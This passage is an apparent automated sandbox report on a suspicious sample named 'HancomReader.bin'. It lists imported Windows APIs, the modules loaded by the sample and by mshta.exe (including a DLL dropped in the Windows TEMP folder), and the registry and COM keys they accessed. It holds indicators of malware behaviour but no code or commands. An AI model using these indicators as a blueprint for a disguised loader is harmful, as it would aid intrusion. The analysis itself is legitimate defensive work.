"CoUninitialize"; File: "HancomReader.bin") Found reference to API (Indicator: "CoInitialize"; File: "HancomReader.bin") Found reference to API (Indicator: "GetCommandLineA"; File: "HancomReader.bin") Found reference to API (Indicator: "HeapSetInformation"; File: "HancomReader.bin") Found reference to API (Indicator: "GetStartupInfoW"; File: "HancomReader.bin") Found reference to API (Indicator: "TerminateProcess"; File: "HancomReader.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "HancomReader.bin") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "HancomReader.bin") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "HancomReader.bin") Found reference to API (Indicator: "IsDebuggerPresent"; File: "HancomReader.bin") Found reference to API (Indicator: "DecodePointer"; File: "HancomReader.bin") Found reference to API (Indicator: "EncodePointer"; File: "HancomReader.bin") Found reference to API (Indicator: "GetProcAddress"; File: "HancomReader.bin") Found reference to API (Indicator: "GetModuleHandleW"; File: "HancomReader.bin") Found reference to API (Indicator: "ExitProcess"; File: "HancomReader.bin") Found reference to API (Indicator: "WriteFile"; File: "HancomReader.bin") Found reference to API (Indicator: "GetStdHandle"; File: "HancomReader.bin") Found reference to API (Indicator: "GetModuleFileNameW"; File: "HancomReader.bin") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "HancomReader.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "HancomReader.bin") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "HancomReader.bin") Found reference to API (Indicator: "SetHandleCount"; File: "HancomReader.bin") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "HancomReader.bin") Found reference to API (Indicator: "GetFileType"; File: "HancomReader.bin") Found reference to API (Indicator: "DeleteCriticalSection"; File: "HancomReader.bin") Found reference to API (Indicator: "TlsAlloc"; File: "HancomReader.bin") Found reference to API (Indicator: "TlsGetValue"; File: "HancomReader.bin") Found reference to API (Indicator: "TlsSetValue"; File: "HancomReader.bin") Found reference to API (Indicator: "TlsFree"; File: "HancomReader.bin") Found reference to API (Indicator: "InterlockedIncrement"; File: "HancomReader.bin") Found reference to API (Indicator: "SetLastError"; File: "HancomReader.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "HancomReader.bin") Found reference to API (Indicator: "InterlockedDecrement"; File: "HancomReader.bin") Found reference to API (Indicator: "HeapCreate"; File: "HancomReader.bin") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "HancomReader.bin") Found reference to API (Indicator: "GetTickCount"; File: "HancomReader.bin") Found reference to API (Indicator: "GetCurrentProcessId"; File: "HancomReader.bin") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "HancomReader.bin") Found reference to API (Indicator: "SetFilePointer"; File: "HancomReader.bin") Found reference to API (Indicator: "GetConsoleCP"; File: "HancomReader.bin") Found reference to API (Indicator: "GetConsoleMode"; File: "HancomReader.bin") Found reference to API (Indicator: "EnterCriticalSection"; File: "HancomReader.bin") Found reference to API (Indicator: "LeaveCriticalSection"; File: "HancomReader.bin") Found reference to API (Indicator: "GetCPInfo"; File: "HancomReader.bin") Found reference to API (Indicator: "GetACP"; File: "HancomReader.bin") Found reference to API (Indicator: "GetOEMCP"; File: "HancomReader.bin") Found reference to API (Indicator: "IsValidCodePage"; File: "HancomReader.bin") Found reference to API (Indicator: "HeapFree"; File: "HancomReader.bin") Found reference to API (Indicator: "Sleep"; File: "HancomReader.bin") Found reference to API (Indicator: "LoadLibraryW"; File: "HancomReader.bin") Found reference to API (Indicator: "RtlUnwind"; File: "HancomReader.bin") Found reference to API (Indicator: "SetStdHandle"; File: "HancomReader.bin") Found reference to API (Indicator: "WriteConsoleW"; File: "HancomReader.bin") Found reference to API (Indicator: "LCMapStringW"; File: "HancomReader.bin") Found reference to API (Indicator: "GetStringTypeW"; File: "HancomReader.bin") Found reference to API (Indicator: "HeapAlloc"; File: "HancomReader.bin") Found reference to API (Indicator: "HeapReAlloc"; File: "HancomReader.bin") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "HancomReader.bin") Found reference to API (Indicator: "HeapSize"; File: "HancomReader.bin") Found reference to API (Indicator: "CreateFileW"; File: "HancomReader.bin") Found reference to API (Indicator: "FlushFileBuffers"; File: "HancomReader.bin") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "WinExec"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp")2d:T1497,".exe" loaded module "CRYPTBASE.DLL" at base 75350000 ".exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74030000 ".exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75300000 ".exe" loaded module "OLEAUT32.DLL" at base 76650000 ".exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72b60000 ".exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 ".exe" loaded module "KERNEL32" at base 76530000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 ".exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d280000 "mshta.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 72b60000 "mshta.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "mshta.exe" loaded module "KERNEL32" at base 76530000 "mshta.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "mshta.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d280000 "mshta.exe" loaded module "URLMON.DLL" at base 75840000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74030000 "mshta.exe" loaded module "DWMAPI.DLL" at base 73c10000 "mshta.exe" loaded module "KERNEL32.DLL" at base 76530000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSHTML.DLL" at base 67c50000 "mshta.exe" loaded module "OLEAUT32.DLL" at base 76650000 "mshta.exe" loaded module "SHELL32.DLL" at base 76900000 "mshta.exe" loaded module "PROFAPI.DLL" at base 75470000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74e20000 "mshta.exe" loaded module "IPHLPAPI.DLL" at base 749b0000 "mshta.exe" loaded module "RPCRT4.DLL" at base 766f0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6f060000 "mshta.exe" loaded module "OLE32.DLL" at base 767a0000 "mshta.exe" loaded module "DHCPCSVC6.DLL" at base 73330000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 748d0000 "mshta.exe" loaded module "DNSAPI.DLL" at base 74ce0000 "mshta.exe" loaded module "RASADHLP.DLL" at base 71950000 "mshta.exe" loaded module "ADVAPI32.DLL" at base 762e0000 "mshta.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 776b0000 "mshta.exe" loaded module "CRYPTSP.DLL" at base 74e60000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74bf0000 "mshta.exe" loaded module "CRYPTBASE.DLL" at base 75350000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSIMTF.DLL" at base 74000000 "mshta.exe" loaded module "OLEACC.DLL" at base 72170000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 72170000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 75b00000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 76610000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\DXGIDEBUG.DLL" at base 0 "mshta.exe" loaded module "SETUPAPI.DLL" at base 760e0000 "mshta.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76530000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\D3D10WARP.DLL" at base 67710000 "mshta.exe" loaded module "D3D10WARP.DLL" at base 67710000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75590000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 754f0000 "mshta.exe" loaded module "SHLWAPI.DLL" at base 776d0000 "mshta.exe" loaded module "CLBCATQ.DLL" at base 759c0000 "mshta.exe" loaded module "UXTHEME.DLL" at base 74030000 "mshta.exe" loaded module "COMCTL32.DLL" at base 742a0000 "mshta.exe" loaded module "SECUR32.DLL" at base 75190000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6d0e0000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 718e0000 "mshta.exe" loaded module "WS2_32.DLL" at base 76610000 "mshta.exe" loaded module "WINHTTP.DLL" at base 70d20000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74e10000 "mshta.exe" loaded module "DHCPCSVC.DLL" at base 748e0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6c230000 "mshta.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 776b0000 "mshta.exe" loaded module "USER32.DLL" at base 75dd0000 "mshta.exe" loaded module "RPCRTREMOTE.DLL" at base 753f0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6ebc0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76650000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 767a0000 "mshta.exe" loaded module "SXS.DLL" at base 75360000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 763e0000 "mshta.exe" loaded module "MSHTML.DLL" at base 67c50000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73350000 "mshta.exe" loaded module "MSLS31.DLL" at base 6ebf0000 "mshta.exe" loaded module "D2D1.DLL" at base 67900000 "mshta.exe" loaded module "DWRITE.DLL" at base 6d140000 "mshta.exe" loaded module "DXGI.DLL" at base 71900000 "mshta.exe" loaded module "GDI32.DLL" at base 77750000 "mshta.exe" loaded module "WINTRUST.DLL" at base 756d0000 "mshta.exe" loaded module "D3D11.DLL" at base 71760000 "mshta.exe" loaded module "WININET.DLL" at base 75b000002e:T46f,"mshta.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\INPROCSERVER32") "mshta.exe" touched "Microsoft HTA Document 6.0" (Path: "HKCU\CLSID\{3050F5C8-98B5-11CF-BB82-00AA00BDCE0B}") "mshta.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKCU\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}") "mshta.exe" touched "Browser Application State" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}") "mshta.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKCU\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\TREATAS") "mshta.exe" touched "PSOAInterface" (Path: "HKCU\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") "mshta.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "mshta.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\TREATAS") "mshta.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "mshta.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS")2f:T8bc,"mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA-ES") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA-ES") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CS-CZ") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CS-CZ") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "DA-DK") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "DA-DK") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "DE-DE") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "DE-DE") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EL-GR") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EL-GR") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ES-ES_TRADNL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ES-ES_TRADNL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "FI-FI") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "FI-FI") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "FR-FR") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "FR-FR") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "HU-HU") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "HU-HU") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "IT-IT") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "IT-IT") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "NL-NL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "NL-NL") "mshta.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "NB-NO")30:T73a,".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: 